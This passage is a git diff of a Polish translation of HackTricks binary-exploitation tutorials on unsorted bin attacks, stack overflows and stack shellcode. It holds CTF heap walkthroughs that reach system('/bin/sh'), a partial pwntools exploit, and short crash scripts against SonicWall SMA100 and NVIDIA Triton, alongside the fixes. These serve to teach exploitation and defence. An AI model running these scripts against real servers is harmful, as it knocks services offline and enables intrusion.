natychmiast przerywa wykonanie przy następnej alokacji z powodu unsorted-bin checks, ponownie sprawdź, że `victim->fd` wciąż równa się bin head i że Twój `TARGET` zawiera dokładny wskaźnik `victim` po pierwszym zapisie. ## Unsorted Bin Infoleak Attack -To w istocie bardzo podstawowa koncepcja. Chunks w unsorted bin będą zawierać wskaźniki. Pierwszy chunk w unsorted bin będzie faktycznie miał linki **`fd`** i **`bk`** **wskazujące na część main arena (Glibc)**.\ -W związku z tym, jeśli możesz **umieścić chunk w unsorted bin i go odczytać** (use after free) lub **alokować go ponownie bez nadpisania przynajmniej jednego z wskaźników**, a następnie go **odczytać**, możesz uzyskać **Glibc info leak**. +To w gruncie rzeczy bardzo podstawowa koncepcja. Chunki w unsorted bin zawierają wskaźniki. Pierwszy chunk w unsorted bin będzie miał faktycznie linki **`fd`** i **`bk`** **wskazujące na część main arena (Glibc)**.\ +W związku z tym, jeśli potrafisz **umieścić chunk w unsorted bin i odczytać go** (use after free) lub **zaalokować go ponownie bez nadpisywania przynajmniej jednego ze wskaźników**, aby potem go **odczytać**, możesz uzyskać **Glibc info leak**. -Podobny [**atak użyty w tym writeupie**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) polegał na nadużyciu struktury 4 chunków (A, B, C i D — D służy tylko do zapobieżenia konsolidacji z top chunk), więc null byte overflow w B został użyty, by sprawić, że C będzie wskazywać, że B jest nieużywany. Dodatkowo w B pole `prev_size` zostało zmodyfikowane tak, że rozmiar zamiast być rozmiarem B był A+B.\ -Następnie C został zwolniony i skonsolidowany z A+B (ale B nadal był używany). Przydzielono nowy chunk o rozmiarze A, a potem do B zapisano libc leaked addresses, skąd następnie je odczytano. +Podobny [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) polegał na nadużyciu struktury z 4 chunkami (A, B, C i D — D służy tylko do zapobieżenia konsolidacji z top chunk), więc null byte overflow w B został użyty, aby C wskazywało, że B jest nieużywane. Również w B dane `prev_size` zostały zmodyfikowane tak, że rozmiar zamiast być rozmiarem B był A+B.\ +Następnie C zostało zwolnione i skonsolidowane z A+B (ale B nadal było w użyciu). Nowy chunk o rozmiarze A został zaalokowany, a następnie libc leaked addresses zostały zapisane do B, skąd zostały wycieknięte. -## Referencje i inne przykłady +## Odnośniki i inne przykłady - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) -- Celem jest nadpisanie zmiennej globalnej wartością większą niż 4869, aby możliwe było zdobycie flagi i PIE nie jest włączone. -- Możliwe jest wygenerowanie chunków o dowolnych rozmiarach i istnieje heap overflow o żądanym rozmiarze. -- Atak zaczyna się od stworzenia 3 chunków: chunk0 do nadużycia overflow, chunk1 który ma być overflowowany oraz chunk2, aby top chunk nie skonsolidował poprzednich. -- Następnie chunk1 jest zwalniany, a chunk0 jest overflowowany tak, że `bk` wskazywane przez chunk1 pokazuje na: `bk = magic - 0x10` -- Potem alokowany jest chunk3 o tym samym rozmiarze co chunk1, co wywoła unsorted bin attack i zmodyfikuje wartość zmiennej globalnej, umożliwiając zdobycie flagi. +- Celem jest nadpisanie globalnej zmiennej wartością większą niż 4869, aby możliwe było zdobycie flagi i PIE nie jest włączone. +- Możliwe jest wygenerowanie chunków o dowolnych rozmiarach i istnieje heap overflow o wymaganym rozmiarze. +- Atak zaczyna się od stworzenia 3 chunków: chunk0 do wykorzystania overflowu, chunk1 który ma zostać przepełniony oraz chunk2, żeby top chunk nie skonsolidował poprzednich. +- Następnie chunk1 jest zwalniany, a chunk0 jest przepełniany tak, że wskaźnik `bk` chunk1 wskazuje na: `bk = magic - 0x10` +- Potem chunk3 jest zaalokowany o tym samym rozmiarze co chunk1, co wywoła unsorted bin attack i zmodyfikuje wartość globalnej zmiennej, umożliwiając zdobycie flagi. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) -- Funkcja merge jest podatna, ponieważ jeśli oba przekazane indeksy są takie same, to następuje realloc na tym indeksie, a potem jego free, ale zwracany jest pointer do tej zwolnionej regionu, który można wykorzystać. -- W związku z tym **tworzone są 2 chunky**: **chunk0**, który zostanie scalony sam ze sobą, oraz chunk1 żeby zapobiec konsolidacji z top chunk. Następnie **merge function jest wywoływana dla chunk0** dwukrotnie, co spowoduje use after free. -- Potem wywoływana jest funkcja **`view`** z indeksem 2 (który odpowiada use after free chunkowi), co spowoduje **leak libc address**. -- Ponieważ binarka ma zabezpieczenia, które pozwalają mallocować tylko rozmiary większe niż **`global_max_fast`**, więc nie używa się fastbinów — zastosowany zostanie unsorted bin attack, aby nadpisać zmienną globalną `global_max_fast`. -- Następnie można wywołać funkcję edycji z indeksem 2 (pointer use after free) i nadpisać wskaźnik `bk`, aby wskazywał na `p64(global_max_fast-0x10)`. Potem stworzenie nowego chunku użyje wcześniej skompromitowanego adresu free (0x20) i **wywoła unsorted bin attack**, nadpisując `global_max_fast` na bardzo dużą wartość, co pozwoli teraz tworzyć chunki w fast binach. -- Teraz wykonywany jest **fast bin attack**: -- Najpierw odkryto, że można pracować z fast **chunkami o rozmiarze 200** w lokalizacji **`__free_hook`**: +- Funkcja merge jest podatna, ponieważ jeśli oba przekazane indeksy są identyczne, wykona realloc na nim, a potem free, ale zwróci wskaźnik do tej zwolnionej pamięci, który można potem wykorzystać. +- W związku z tym tworzone są **2 chunki**: **chunk0**, który zostanie scalony sam ze sobą, oraz chunk1, aby zapobiec konsolidacji z top chunk. Następnie **merge** jest wywołane z chunk0 dwukrotnie, co spowoduje use after free. +- Potem funkcja **`view`** jest wywoływana z indeksem 2 (który jest indeksem chunku z use after free), co spowoduje **leak a libc address**. +- Ponieważ binarka ma zabezpieczenie żeby mallocować tylko rozmiary większe niż **`global_max_fast`** (więc fastbin nie jest używany), zostanie użyty unsorted bin attack do nadpisania globalnej zmiennej `global_max_fast`. +- Następnie możliwe jest wywołanie funkcji edit z indeksem 2 (wskaźnik use after free) i nadpisanie wskaźnika `bk`, tak by wskazywał na `p64(global_max_fast-0x10)`. Potem utworzenie nowego chunku wykorzysta wcześniej skompromitowany address z free (0x20) i **wywoła unsorted bin attack**, nadpisując `global_max_fast` na bardzo dużą wartość, co pozwoli teraz tworzyć chunki w fast bins. +- Teraz przeprowadzany jest **fast bin attack**: +- Po pierwsze odkryto, że możliwe jest operowanie na fast **chunkach o rozmiarze 200** w lokalizacji **`__free_hook`**: - 
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -116,19 +113,19 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-- Jeśli uda się uzyskać fast chunk o rozmiarze 0x200 w tej lokalizacji, będzie można nadpisać wskaźnik funkcji, który zostanie wykonany. -- W tym celu tworzony jest nowy chunk o rozmiarze `0xfc` i funkcja merge jest wywoływana z tym wskaźnikiem dwukrotnie — w ten sposób uzyskujemy pointer do zwolnionego chunku o rozmiarze `0xfc*2 = 0x1f8` w fast binie. -- Potem wywoływana jest funkcja edycji na tym chunku, aby zmodyfikować adres **`fd`** tego fast binu tak, aby wskazywał na poprzedni **`__free_hook`**. -- Następnie alokowany jest chunk o rozmiarze `0x1f8`, aby pobrać ze fast binu poprzedni nieużyteczny chunk, a potem kolejny chunk o rozmiarze `0x1f8`, aby otrzymać fast bin chunk w **`__free_hook`**, który jest nadpisywany adresem funkcji **`system`**. -- I w końcu chunk zawierający string `/bin/sh\x00` jest zwalniany przez wywołanie funkcji delete, wywołując **`__free_hook`**, które teraz wskazuje na system z `/bin/sh\x00` jako parametrem. +- Jeśli uda się umieścić fast chunk o rozmiarze 0x200 w tej lokalizacji, będzie możliwe nadpisanie wskaźnika do funkcji, która zostanie wykonana. +- W tym celu tworzy się nowy chunk o rozmiarze `0xfc` i merge jest wywoływane z tym wskaźnikiem dwukrotnie; w ten sposób otrzymujemy wskaźnik do zwolnionego chunku o rozmiarze `0xfc*2 = 0x1f8` w fast bin. +- Następnie funkcja edit jest wywoływana na tym chunku, by zmodyfikować adres **`fd`** tego fast bin, tak aby wskazywał na wcześniej wspomniany **`__free_hook`**. +- Potem tworzy się chunk o rozmiarze `0x1f8`, aby pobrać z fast bin poprzedni bezużyteczny chunk; kolejny chunk o rozmiarze `0x1f8` zostaje utworzony, aby uzyskać fast bin chunk w lokalizacji **`__free_hook`**, która zostaje nadpisana adresem funkcji **`system`**. +- I na koniec chunk zawierający string `/bin/sh\x00` jest zwalniany przez wywołanie funkcji delete, co wywołuje funkcję **`__free_hook`**, która wskazuje na system z `/bin/sh\x00` jako parametrem. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- Kolejny przykład nadużycia 1B overflow, aby skonsolidować chunki w unsorted bin i uzyskać libc infoleak, a następnie przeprowadzić fast bin attack w celu nadpisania malloc hook adresem one gadget. +- Inny przykład nadużycia 1B overflow do skonsolidowania chunków w unsorted bin i uzyskania libc infoleak, a następnie przeprowadzenia fast bin attack w celu nadpisania malloc hook adresem one gadget - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - Możemy alokować tylko chunki o rozmiarze większym niż `0x100`. -- Nadpisanie `global_max_fast` przy użyciu Unsorted Bin attack (działa 1/16 razy z powodu ASLR, ponieważ trzeba zmodyfikować 12 bitów, ale trzeba zmodyfikować 16 bitów). -- Fast Bin attack, aby zmodyfikować globalną tablicę chunków. To daje arbitralny read/write primitive, co pozwala na modyfikację GOT i ustawienie pewnej funkcji, by wskazywała na `system`. +- Nadpisz `global_max_fast` przy użyciu Unsorted Bin attack (działa 1/16 razy z powodu ASLR, ponieważ trzeba zmodyfikować 12 bitów, ale musimy zmodyfikować 16 bitów). +- Fast Bin attack, aby zmodyfikować globalną tablicę chunków. To daje arbitralny read/write primitive, który pozwala modyfikować GOT i ustawić jakąś funkcję, aby wskazywała na `system`. -## References +## Referencje - Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c - `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 24eda70ce..137c8d445 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Co to jest Stack Overflow +## Czym jest Stack Overflow -A **stack overflow** to luka, która występuje, gdy program zapisuje na stos więcej danych niż zostało mu na to przydzielone. Ten nadmiar danych **nadpisze sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia prawidłowych danych, zakłócenia przepływu sterowania i potencjalnie wykonania złośliwego kodu. Problem ten często wynika z użycia niebezpiecznych funkcji, które nie wykonują sprawdzania ograniczeń (bounds checking) dla danych wejściowych. +**stack overflow** to podatność, która występuje, gdy program zapisuje na stos więcej danych, niż zostało dla niego przydzielone. Nadmiar tych danych **nadpisze sąsiednią przestrzeń pamięci**, co prowadzi do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnie uruchomienia złośliwego kodu. Problem ten często wynika z użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic dla danych wejściowych. -Głównym problemem tego nadpisania jest to, że **saved instruction pointer (EIP/RIP)** oraz **saved base pointer (EBP/RBP)**, używane do powrotu do poprzedniej funkcji, są **przechowywane na stosie**. W związku z tym atakujący będzie w stanie je nadpisać i **kontrolować przepływ wykonania programu**. +Głównym problemem takiego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)**, do którego następuje powrót do poprzedniej funkcji, są **przechowywane na stosie**. W związku z tym atakujący może je nadpisać i **kontrolować przepływ wykonania programu**. -Luka zwykle powstaje, ponieważ funkcja **kopiuje na stos więcej bajtów niż zostało dla niej przydzielone**, umożliwiając tym samym nadpisanie innych części stosu. +Ta podatność zwykle pojawia się, ponieważ funkcja **kopiuje na stos więcej bajtów niż ilość zaalokowana dla niej**, co pozwala na nadpisanie innych części stosu. -Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Również funkcje takie jak **`fgets`**, **`read`** i **`memcpy`**, które przyjmują **argument długości**, mogą być użyte w sposób podatny, jeśli podana długość jest większa niż przydzielona. +Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Również funkcje takie jak **`fgets`**, **`read`** i **`memcpy`**, które przyjmują **argument długości**, mogą być użyte w sposób podatny, jeśli podana długość jest większa niż zaalokowana. -Na przykład, następujące funkcje mogą być podatne: +Na przykład, poniższe funkcje mogą być podatne: ```c void vulnerable() { char buffer[128]; @@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Finding Stack Overflows offsets +### Znajdowanie offsetów Stack Overflows -Najczęstszym sposobem wykrywania Stack Overflows jest podanie bardzo dużego wejścia składającego się z `A` (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **próbowano uzyskać dostęp do adresu `0x41414141`**. +Najczęstszym sposobem wykrywania stack overflowów jest podanie bardzo dużego wejścia składającego się z `A` (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, wskazujący, że próbowano uzyskać dostęp do **adresu `0x41414141`**. -Ponadto, gdy już stwierdzisz istnienie podatności Stack Overflow, będziesz musiał znaleźć offset umożliwiający **overwrite the return address** — do tego zwykle używa się **De Bruijn sequence.** Dla zadanego alfabetu o rozmiarze _k_ i podciągów długości _n_ jest to **cykliczna sekwencja, w której każdy możliwy podciąg długości _n_ pojawia się dokładnie raz** jako spójny podciąg. +Co więcej, gdy już znajdziesz, że istnieje podatność Stack Overflow, będziesz musiał znaleźć offset umożliwiający **overwrite the return address**, do tego zwykle używa się **De Bruijn sequence.** Która dla danego alfabetu o rozmiarze _k_ i podciągów długości _n_ jest **cykliczną sekwencją, w której każdy możliwy podciąg długości _n_ pojawia się dokładnie raz** jako podciąg spójny. -Dzięki temu, zamiast ręcznie ustalać, który offset jest potrzebny do kontrolowania EIP, można użyć jako paddingu jednej z takich sekwencji, a następnie znaleźć offset bajtów, które ją nadpisały. +Dzięki temu, zamiast ręcznie ustalać, który offset jest potrzebny do kontrolowania EIP, można użyć jako paddingu jednej z tych sekwencji, a następnie znaleźć offset bajtów, które ostatecznie go nadpisały. -Do tego można użyć **pwntools** dla tego: +Do tego można użyć **pwntools**: ```python from pwn import * @@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Wykorzystywanie Stack Overflows +## Eksploatacja Stack Overflows -Podczas overflowu (zakładając, że rozmiar overflowu jest wystarczająco duży) będziesz w stanie **nadpisać** wartości zmiennych lokalnych na stacku aż do zapisanych **EBP/RBP and EIP/RIP (or even more)**.\ -Najczęstszym sposobem nadużycia tego typu podatności jest **zmodyfikowanie adresu powrotu**, tak aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce wskazane przez użytkownika** w tym wskaźniku. +Podczas overflowu (zakładając, że rozmiar overflowu jest wystarczająco duży) będziesz w stanie **overwrite** wartości lokalnych zmiennych na stacku aż do zapisanego **EBP/RBP and EIP/RIP (or even more)**.\ +Najczęstszy sposób nadużycia tego typu podatności to **zmodyfikowanie return address**, tak aby po zakończeniu funkcji **control flow został przekierowany tam, gdzie wskazuje ten wskaźnik**. -Jednak w innych scenariuszach samo **nadpisanie wartości niektórych zmiennych na stacku** może wystarczyć do eksploatacji (np. w prostych zadaniach CTF). +Jednak w innych scenariuszach samo **nadpisanie wartości niektórych zmiennych na stacku** może wystarczyć do eksploatu (np. w prostych wyzwaniach CTF). ### Ret2win -W tego typu zadaniach CTF istnieje **function** **inside** the binary, która **never called** i którą **musisz wywołać, aby wygrać**. W tych zadaniach wystarczy znaleźć **offset to overwrite the return address** oraz **find the address of the function** do wywołania (zazwyczaj [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączony), tak aby po zwróceniu się podatnej funkcji została wywołana ukryta funkcja: +W tego typu wyzwaniach CTF w binarce znajduje się **function**, która **nigdy nie jest wywoływana**, a którą **musisz wywołać, żeby wygrać**. W tych zadaniach wystarczy znaleźć **offset do overwrite return address** i **adres funkcji** do wywołania (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) jest wyłączony), tak aby po powrocie podatnej funkcji została wywołana ukryta funkcja: {{#ref}} @@ -66,7 +66,7 @@ ret2win/ ### Stack Shellcode -W tym scenariuszu atakujący może umieścić shellcode na stacku i użyć kontrolowanego EIP/RIP, aby skoczyć do shellcode'a i wykonać dowolny kod: +W tym scenariuszu atakujący może umieścić shellcode na stacku i wykorzystać kontrolowany EIP/RIP, aby przeskoczyć do shellcode i wykonać arbitrary code: {{#ref}} @@ -75,7 +75,7 @@ stack-shellcode/ ### Windows SEH-based exploitation (nSEH/SEH) -Na 32-bitowym Windows overflow może nadpisać łańcuch Structured Exception Handler (SEH) zamiast zapisanego adresu powrotu. Eksploatacja zazwyczaj zastępuje wskaźnik SEH gadgetem POP POP RET i używa 4-bajtowego pola nSEH do krótkiego skoku, aby wrócić do dużego bufora, w którym znajduje się shellcode. Powszechny wzorzec to krótki jmp w nSEH, który ląduje na 5-bajtowym near jmp umieszczonym tuż przed nSEH, aby przeskoczyć setki bajtów z powrotem do początku payloadu. +Na 32-bit Windows overflow może nadpisać łańcuch Structured Exception Handler (SEH) zamiast zapisanego return address. Eksploatacja zwykle zastępuje SEH pointer gadgetem POP POP RET i używa 4-bajtowego pola nSEH do krótkiego skoku, aby pivot back do dużego bufferu, gdzie znajduje się shellcode. Częsty wzorzec to krótki jmp w nSEH, który ląduje na 5-bajtowym near jmp umieszczonym tuż przed nSEH, aby skoczyć setki bajtów wstecz do początku payloadu. {{#ref}} @@ -84,7 +84,7 @@ windows-seh-overflow.md ### ROP & Ret2... techniques -Ta technika jest podstawowym mechanizmem pozwalającym obejść główną ochronę przeciwko poprzedniej technice: **No executable stack (NX)**. Pozwala też wykonać kilka innych technik (ret2lib, ret2syscall...), które finalnie uruchomią dowolne polecenia wykorzystując istniejące instrukcje w binarce: +Ta technika to podstawowy framework do obejścia głównej ochrony stosowanej przeciwko poprzedniej metodzie: **No executable stack (NX)**. Pozwala też wykonać wiele innych technik (ret2lib, ret2syscall...), które doprowadzą do wykonania arbitrary commands poprzez wykorzystanie istniejących instrukcji w binarce: {{#ref}} @@ -93,25 +93,26 @@ Ta technika jest podstawowym mechanizmem pozwalającym obejść główną ochron ## Heap Overflows -Overflow nie zawsze będzie w stacku, może być również w **heap** na przykład: +Overflow nie zawsze występuje na stacku — może też być w **heap**, na przykład: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Rodzaje zabezpieczeń +## Types of protections -Istnieje kilka zabezpieczeń próbujących zapobiegać eksploatacji podatności — sprawdź je w: +Istnieje kilka mechanizmów ochronnych próbujących zapobiec exploicie podatności — sprawdź je w: {{#ref}} ../common-binary-protections-and-bypasses/ {{#endref}} -### Przykład z rzeczywistego świata: CVE-2025-40596 (SonicWall SMA100) +### Real-World Example: CVE-2025-40596 (SonicWall SMA100) -Dobre pokazanie, dlaczego **`sscanf` should never be trusted for parsing untrusted input**, pojawiło się w 2025 roku w urządzeniu SonicWall SMA100 SSL-VPN. Podatna procedura wewnątrz `/usr/src/EasyAccess/bin/httpd` próbuje wyodrębnić wersję i endpoint z dowolnego URI, które zaczyna się od `/__api__/`: +Dobre pokazanie, dlaczego **`sscanf` nie powinno być nigdy zaufane do parsowania niesprawdzonych danych wejściowych**, pojawiło się w 2025 w urządzeniu SonicWall SMA100 SSL-VPN. +Wrażliwa rutyna wewnątrz `/usr/src/EasyAccess/bin/httpd` próbuje wyciągnąć version i endpoint z każdego URI, które zaczyna się od `/__api__/`: ```c char version[3]; char endpoint[0x800] = {0}; @@ -119,25 +120,25 @@ char endpoint[0x800] = {0}; sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` 1. Pierwsza konwersja (`%2s`) bezpiecznie zapisuje **dwa** bajty do `version` (np. `"v1"`). -2. Druga konwersja (`%s`) **nie ma specyfikatora długości**, dlatego `sscanf` będzie kopiować **aż do pierwszego bajtu NUL**. +2. Druga konwersja (`%s`) **nie ma określnika długości**, dlatego `sscanf` będzie kopiować **aż do pierwszego bajtu NUL**. 3. Ponieważ `endpoint` znajduje się na **stack** i ma długość **0x800 bajtów**, podanie ścieżki dłuższej niż 0x800 bajtów uszkadza wszystko, co znajduje się po buforze ‑ w tym **stack canary** i **saved return address**. -Wystarczy jedno-liniowy proof-of-concept, aby wywołać crash **before authentication**: +Jednolinijkowy proof-of-concept wystarczy, aby wywołać crash **przed uwierzytelnieniem**: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Mimo że stack canaries przerywają proces, atakujący i tak uzyskuje prymityw **Denial-of-Service** (a przy dodatkowych information leaks, możliwe jest code-execution). Wniosek jest prosty: +Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple: -* Zawsze określaj **maksymalną szerokość pola** (np. `%511s`). +* Zawsze podawaj **maksymalną szerokość pola** (np. `%511s`). * Preferuj bezpieczniejsze alternatywy, takie jak `snprintf`/`strncpy_s`. ### Przykład z rzeczywistego świata: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) NVIDIA’s Triton Inference Server (≤ v25.06) zawierał wiele **stack-based overflows** dostępnych przez jego HTTP API. -Wzorzec podatności pojawiał się wielokrotnie w `http_server.cc` i `sagemaker_server.cc`: +Wrażliwy wzorzec pojawiał się wielokrotnie w `http_server.cc` i `sagemaker_server.cc`: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { @@ -148,8 +149,8 @@ alloca(sizeof(struct evbuffer_iovec) * n); } ``` 1. `evbuffer_peek` (libevent) zwraca **liczbę wewnętrznych segmentów bufora**, które tworzą bieżące ciało żądania HTTP. -2. Każdy segment powoduje alokację **16-byte** `evbuffer_iovec` na **stack** za pomocą `alloca()` – **bez żadnego górnego ograniczenia**. -3. Nadużywając **HTTP _chunked transfer-encoding_**, klient może zmusić żądanie do podziału na **setki tysięcy 6-bajtowych kawałków** (`"1\r\nA\r\n"`). To powoduje, że `n` rośnie nieograniczenie aż do wyczerpania stack. +2. Każdy segment powoduje zaalokowanie **16-byte** `evbuffer_iovec` na **stack** za pomocą `alloca()` — **bez żadnego górnego ograniczenia**. +3. Poprzez nadużywanie **HTTP _chunked transfer-encoding_**, klient może zmusić żądanie do podziału na **setki tysięcy 6-byte kawałków** (`"1\r\nA\r\n"`). To powoduje, że `n` rośnie bez ograniczeń, aż stack zostanie wyczerpany. #### Dowód koncepcji (DoS) ```python @@ -175,10 +176,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -Żądanie o wielkości ~3 MB wystarczy, aby nadpisać saved return address i **crash** daemona na default build. +Żądanie ~3 MB wystarcza, aby nadpisać zapisany adres powrotu i **crash** demona na domyślnej kompilacji. #### Poprawka i środki zaradcze -Wydanie 25.07 zastępuje unsafe stack allocation za pomocą **heap-backed `std::vector`** i elegancko obsługuje `std::bad_alloc`: +W wydaniu 25.07 zastąpiono niebezpieczną alokację na stosie **opartą na stercie `std::vector`** i poprawnie obsłużono `std::bad_alloc`: ```c++ std::vector v_vec; try { @@ -189,9 +190,9 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); struct evbuffer_iovec *v = v_vec.data(); ``` Wnioski: -* Nigdy nie wywołuj `alloca()` z rozmiarami kontrolowanymi przez atakującego. -* Żądania chunked mogą drastycznie zmienić kształt buforów po stronie serwera. -* Zwaliduj / ogranicz każdą wartość pochodzącą od klienta *zanim* użyjesz jej do alokacji pamięci. +* Nigdy nie wywołuj `alloca()` z attacker-controlled sizes. +* Chunked requests mogą drastycznie zmienić kształt buforów po stronie serwera. +* Waliduj / ogranicz każdą wartość pochodzącą z client input *przed* użyciem jej w memory allocations. ## Źródła * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 3679c76f6..05bbfe4f4 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,11 +4,11 @@ ## Podstawowe informacje -**Stack shellcode** to technika używana w **binary exploitation**, w której atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje **Instruction Pointer (IP)** lub **Extended Instruction Pointer (EIP)**, aby wskazywał na lokalizację tego shellcode'a, powodując jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na docelowym systemie. Poniżej znajduje się rozbicie procesu, w tym prosty przykład w C oraz sposób, w jaki można napisać odpowiadający exploit w Pythonie za pomocą **pwntools**. +**Stack shellcode** to technika stosowana w **binary exploitation**, w której atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje **Instruction Pointer (IP)** lub **Extended Instruction Pointer (EIP)**, aby wskazać lokalizację tego shellcode, powodując jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Poniżej znajduje się rozbicie procesu, w tym prosty przykład w C oraz sposób, w jaki można napisać odpowiadający exploit w Pythonie przy użyciu **pwntools**. -### C Example: Program podatny na ataki +### Przykład w C: podatny program -Zacznijmy od prostego przykładu programu w C podatnego na ataki: +Zacznijmy od prostego przykładu podatnego programu w C: ```c #include #include @@ -26,20 +26,20 @@ return 0; ``` Ten program jest podatny na przepełnienie bufora z powodu użycia funkcji `gets()`. -### Kompilacja +### Compilation Aby skompilować ten program z wyłączonymi różnymi zabezpieczeniami (aby zasymulować podatne środowisko), możesz użyć następującego polecenia: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-fno-stack-protector`: Wyłącza ochronę stosu. -- `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do uruchamiania shellcode umieszczonego na stosie. -- `-no-pie`: Wyłącza Position Independent Executable (PIE), co ułatwia przewidzenie adresu pamięci, w którym będzie znajdował się nasz shellcode. -- `-m32`: Kompiluje program jako 32-bitowy plik wykonywalny, często używany dla uproszczenia w exploit development. +- `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode umieszczonego na stosie. +- `-no-pie`: Wyłącza Position Independent Executable (PIE), ułatwiając przewidzenie adresu pamięci, gdzie nasz shellcode będzie się znajdował. +- `-m32`: Kompiluje program jako 32-bitowy plik wykonywalny, często używany dla uproszczenia w tworzeniu exploitów. -### Python Exploit przy użyciu Pwntools +### Exploit w Pythonie z użyciem **pwntools** -Oto jak możesz napisać exploit w Pythonie, używając **pwntools**, aby przeprowadzić atak **ret2shellcode**: +Oto jak można napisać exploit w Pythonie z użyciem **pwntools**, aby przeprowadzić atak **ret2shellcode**: ```python from pwn import * @@ -68,26 +68,26 @@ p.interactive() ``` Ten skrypt konstruuje payload składający się z **NOP slide**, **shellcode**, a następnie nadpisuje **EIP** adresem wskazującym na NOP slide, zapewniając wykonanie shellcode. -The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. +The **NOP slide** (`asm('nop')`) jest używany, aby zwiększyć prawdopodobieństwo, że wykonanie "slide" trafi do naszego shellcode niezależnie od dokładnego adresu. Dostosuj argument `p32()` do adresu początkowego bufora plus offset, aby wylądować w NOP slide. -## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) +## Windows x64: Ominięcie NX przy użyciu VirtualAlloc ROP (ret2stack shellcode) -Na nowoczesnych Windows stack jest non-executable (DEP/NX). Powszechną metodą, aby nadal wykonać stack-resident shellcode po stack BOF, jest zbudowanie 64-bit ROP chain, który wywołuje VirtualAlloc (lub VirtualProtect) z Import Address Table (IAT) modułu, aby uczynić region stacka wykonywalnym, a następnie powrót do shellcode dołączonego po chain. +On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain. Kluczowe punkty (Win64 calling convention): - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → wybierz adres w aktualnym stacku (np. RSP), tak aby nowo 